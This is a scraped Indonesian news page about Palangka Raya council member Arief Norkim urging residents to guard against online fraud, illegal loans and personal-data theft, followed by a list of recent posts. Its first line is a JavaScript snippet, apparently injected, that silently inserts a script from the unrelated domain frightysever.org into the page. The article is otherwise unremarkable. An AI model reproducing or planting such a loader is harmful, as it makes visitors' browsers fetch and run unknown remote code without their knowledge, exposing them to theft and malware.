(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PALANGKARAYA

Dewan Ingatkan Maraknya Kejahatan Digital dengan Modus Beragam


KANALKALIMANTAN.COM, PALANGKA RAYA- Maraknya kasus penipuan berbasis online di Indonesia membuat anggota Komisi III DPRD Palangka Raya, Arief Norkim, mengimbau masyarakat agar lebih waspada. Arief mengingatkan bahwa kejahatan digital ini terus berkembang dan modus yang digunakan oleh para pelaku semakin beragam.

“Kita hidup di era digital di mana teknologi menjadi alat bantu yang memudahkan, tapi di sisi lain juga membuka celah bagi oknum-oknum tak bertanggung jawab untuk menipu masyarakat,” ujarnya Jumat (1/11/2024).

Arief menjelaskan. Bahwa modus penipuan online sangat beragam dan sering kali memanfaatkan ketidaktahuan atau kelemahan korban. Ia mencontohkan beberapa kasus di mana korban terjerat dalam investasi bodong yang menawarkan keuntungan besar dalam waktu singkat.

Selain itu. Ada pula korban yang menjadi sasaran pinjaman online ilegal dengan bunga tinggi, yang membuat mereka terjebak dalam utang berkepanjangan.

Menghadapi fenomena ini, Arief mengimbau masyarakat agar lebih berhati-hati dan teliti dalam menerima tawaran-tawaran yang tidak jelas asal-usulnya, terutama yang berkaitan dengan keuangan.

“Sebelum memutuskan untuk bertransaksi atau memberikan data pribadi, masyarakat perlu mengecek kredibilitas platform atau individu yang menawarkan layanan tersebut, pentingnya meneliti informasi yang diterima agar tidak terjebak dalam perangkap penipuan,” tambahnya.

Selain itu, Arief mengingatkan masyarakat untuk lebih waspada dalam menjaga data pribadi mereka. Data seperti nomor KTP, nomor rekening, atau kata sandi sering kali menjadi sasaran pelaku penipuan online untuk membobol akun atau melakukan transaksi ilegal.

“Data pribadi merupakan hal yang sangat sensitif dan bisa disalahgunakan untuk kejahatan digital jika tidak dilindungi dengan baik,” jelasnya.

Arief juga menyarankan agar masyarakat lebih peka terhadap tanda-tanda penipuan, terutama yang menawarkan keuntungan besar dalam waktu singkat atau layanan menggiurkan. Modus-modus seperti ini kerap kali digunakan oleh pelaku untuk menarik perhatian calon korban.

“Semakin kita paham, semakin sulit bagi mereka untuk menipu. Jangan mudah tergiur dengan tawaran yang tampak terlalu baik untuk menjadi kenyataan,” pungkasnya. (Kanalkalimantan.com/rls)

Reporter: rls
Editor: cell


Muhammad Andi

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

7 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

9 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

9 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

10 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

10 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

11 jam ago